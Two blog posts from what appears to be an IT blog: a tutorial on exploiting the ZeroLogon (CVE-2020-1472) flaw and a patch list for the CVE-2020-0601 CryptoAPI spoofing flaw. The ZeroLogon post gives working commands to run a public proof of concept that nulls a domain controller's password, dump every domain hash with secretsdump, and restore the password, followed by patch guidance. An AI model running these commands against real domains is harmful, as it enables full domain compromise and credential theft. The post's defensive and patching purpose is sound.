Hacking Tutorial, Windows Updates/Patches

Abusing CVE-2020-1472 (ZeroLogon)

Secura has a great blog post on this topic already, but I wanted to share my experience with actually playing with their proof-of-concept exploit code. You can read about this exploit on their blog at https://www.secura.com/blog/zero-logon.

The exploit abuses the Netlogon Remote Protocol in Windows, which among other things, can be used to update computer passwords.

This vulnerability, and patch, isn’t exactly new. Microsoft released a patch for it last month, but there are now some public POCs in the wild that anybody can get their hands on, making this much more dangerous to leave un-patched.

Installing Tools

First, we’re going to need a few things from GitHub. I like to download the tools in my /opt directory. You can run the following command to download the prerequisites.

sudo git clone https://github.com/dirkjanm/CVE-2020-1472.git

And then we need to download and install Impacket.

sudo git clone https://github.com/SecureAuthCorp/impacket.git

cd /opt/impacket

sudo pip3 install .

Performing the Exploit

The above mentioned POC exploit will reset the password of the domain controller account, so BE CAREFUL RUNNING IN PRODUCTION as it will break communication to other domain controllers in the domain.

To reset the password of the domain controller account and make it null, we can use the following command.

python3 cve-2020-1472-exploit.py <netBIOS-Hostname> <targetIP>

If you see that the exploit was successful, you should then be able to run a command like the following to dump all of the domain account hashes.

sudo secretsdump.py -just-dc <domain>/<hostname>\$@<targetIP>

Restoring the Environment

The proof-of-concept exploit code also includes a script for restoring the old credential post-exploitation. To do this, you can grab the hex encoded machine password from the secretsdump.py output and then use the following command.

sudo python restorepassword.py <domain>/<hostname>@<hostname> -target-ip <target-IP> -hexpass <hex-credential>

Patching the Exploit

A patch is available from Microsoft at the following URL. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

While the above mentioned article includes a table with a list of patches, I’d highly recommend checking the Windows Update Catalog for patches that might have superseded the articles mentioned in this table. For example, the September roll-ups contain this patch and are not listed in the table.

Running this exploit against a machine that has received the patch will return the following result.

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General Blog, General IT, Windows Updates/Patches

Patching CVE-2020-0601 | Windows CryptoAPI Spoofing Vulnerability

As I’m sure you’ve heard, there were a handful of critical vulnerabilities announced in this week’s Patch Tuesday. Included in the list of vulnerabilities is a flaw within CryptoAPI that would allow an attacker to digitally sign malicious software updates as the legitimate creator of the software. While Microsoft lists this vulnerability with a severity level of Critical, an attacker would need to first insert themselves as a Man in The Middle to be able to intercept a device’s software update request and return back a digitally signed malicious executable.

Table of Contents
– Affected Operating Systems
– KB’s Needed to Patch Vulnerability

If you have the time, I’d highly recommend the below Webcast on this topic from the SANS Institute’s YouTube page. It goes above any beyond any level of detail I would be able to.

Affected Operating Systems

  • Windows 10
  • Windows Server 2016
  • Windows Server 2019

Note: Windows 7 and older are NOT vulnerable. The Windows Update Service itself is NOT vulnerable.

Patching CVE-2020-0601

Microsoft’s official documentation on this topic can be found at the below link. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601

The exact patch that you need depends on the exact OS Build of Windows 10 you’re running. Below is a list of the related KBs and which Operating System they patch. This list is current as of this blog’s posted date.

I recommend searching for your Build of Windows 10 by using Ctrl+F and typing the version (I.E 1909, 1903, etc.)

Download Linkhttps://www.catalog.update.microsoft.com/Search.aspx?q=KB4528760
Operating System(s)Windows Server, version 1903 (Server Core installation)
 Windows Server, version 1909 (Server Core installation)
 Windows 10 Version 1903 for 32-bit Systems
 Windows 10 Version 1903 for ARM64-based Systems
 Windows 10 Version 1903 for x64-based Systems
 Windows 10 Version 1909 for 32-bit Systems
 Windows 10 Version 1909 for ARM64-based Systems
 Windows 10 Version 1909 for x64-based Systems

Download Linkhttps://www.catalog.update.microsoft.com/Search.aspx?q=KB4534273
Operating System(s)Windows Server 2019
 Windows Server 2019 (Server Core installation)
 Windows 10 Version 1809 for 32-bit Systems
 Windows 10 Version 1809 for ARM64-based Systems
 Windows 10 Version 1809 for x64-based Systems

Download Linkhttps://www.catalog.update.microsoft.com/Search.aspx?q=KB4534293
Operating System(s)Windows Server 2016, version 1803 (Server Core Installation)
 Windows 10 Version 1803 for 32-bit Systems
 Windows 10 Version 1803 for ARM64-based Systems
 Windows 10 Version 1803 for x64-based Systems

Download Linkhttps://www.catalog.update.microsoft.com/Search.aspx?q=KB4534276
Operating System(s)Windows 10 Version 1709 for 32-bit Systems
 Windows 10 Version 1709 for ARM64-based Systems
 Windows 10 Version 1709 for x64-based Systems

Download Linkhttps://www.catalog.update.microsoft.com/Search.aspx?q=KB4534271
Affected O/SWindows Server 2016
 Windows Server 2016 (Server Core installation)
 Windows 10 Version 1607 for 32-bit Systems
 Windows 10 Version 1607 for x64-based Systems